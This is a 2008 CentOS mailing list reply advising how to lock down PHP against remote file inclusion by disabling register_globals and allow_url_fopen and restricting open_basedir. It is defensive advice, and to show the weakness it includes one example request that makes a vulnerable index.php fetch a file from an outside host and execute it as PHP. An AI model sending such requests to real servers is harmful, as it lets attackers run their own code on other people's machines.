sbeam schrieb:
On Tuesday 12 August 2008 10:16, Rainer Duffner wrote:
Anything in /tmp ?
Disable register_globals and allow_url_fopen.
Set open_basedir for any virtual hosts to the absolute minimum.
I have mod_security installed now, but I tested a similar attack, and sadly,
it still succeeds as long as allow_url_fopen is on. But this is not CentOS
related.
Yeah, because allow_url_fopen basically means "I want to run code from
some random site", in most cases.
E.g., when they have implemented a crappy starting-page "index.php"
where there is a menu that calls index.php?link=file1.html
if item one was clicked.
Too bad people can use that to get
index.php?link=http://some.geocities.page/foo.gif executed as PHP on
your server!
(I think it requires both register_globals and allow_url_fopen to be on,
but I'm not sure if you can't get it to work with only allow_url_fopen....)
cheers,
Rainer
_______________________________________________
CentOS mailing list
CentOS@xxxxxxxxxx
http://lists.centos.org/mailman/listinfo/centos
